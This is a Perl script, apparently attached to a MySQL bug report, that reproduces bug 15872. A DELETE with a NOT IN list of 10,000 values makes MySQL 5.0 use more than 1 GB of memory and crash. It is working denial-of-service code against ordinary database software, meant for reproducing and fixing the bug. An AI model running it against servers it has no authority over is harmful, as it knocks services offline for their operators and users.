#!/usr/local/bin/perl # Crash MySQL 5.0 by a large select or delete with NOT IN (1..10000) # Does not crash 4.0 or 4.1. # http://bugs.mysql.com/bug.php?id=15872 use DBI; my $table = 'tmp_incrash'; my $n = 10000; # 5000 => ~700M resident size, 8000 => over 1G my($server, $db, $user, $passwd) = @ARGV; if (!$user) { die "Usage: incrash-pl []\n" . "Crashes MySQL 5.0. http://bugs.mysql.com/bug.php?id=15872\n"; } my $dbh = DBI->connect("DBI:mysql:$db:$server", $user, $passwd) or die "Can't connect to SQL server: $DBI::errstr"; $dbh->do("DROP TABLE IF EXISTS $table") or die "Can't drop table $table: $DBI::errstr"; print "Creating table...\n"; $dbh->do(qq{ CREATE TABLE $table ( pri_key INT UNSIGNED NOT NULL AUTO_INCREMENT, a_key INT UNSIGNED NOT NULL, value INT UNSIGNED NOT NULL, PRIMARY KEY (pri_key), KEY (a_key) ) TYPE=InnoDB }) or die "Can't create table $table: $DBI::errstr"; print "Deleting by value... (does not crash)\n"; $dbh->do("DELETE FROM $table WHERE (value) NOT IN (" . join(',', (1..$n)) . ")") or die "Can't delete: $DBI::errstr"; print "Deleting by a key... (eats >1G on MySQL 5.0)\n"; $dbh->do("DELETE FROM $table WHERE (a_key) NOT IN (" . join(',', (1..$n)) . ")") or die "Can't delete: $DBI::errstr"; print "Deleting by primary key... (eats >1G on MySQL 5.0)\n"; $dbh->do("DELETE FROM $table WHERE (pri_key) NOT IN (" . join(',', (1..$n)) . ")") or die "Can't delete: $DBI::errstr"; $dbh->do("DROP TABLE IF EXISTS $table") or die "Can't drop table $table: $DBI::errstr"; $dbh->disconnect() or die "Can't disconnect from SQL server: $DBI::errstr"; print "Success (no crash).\n";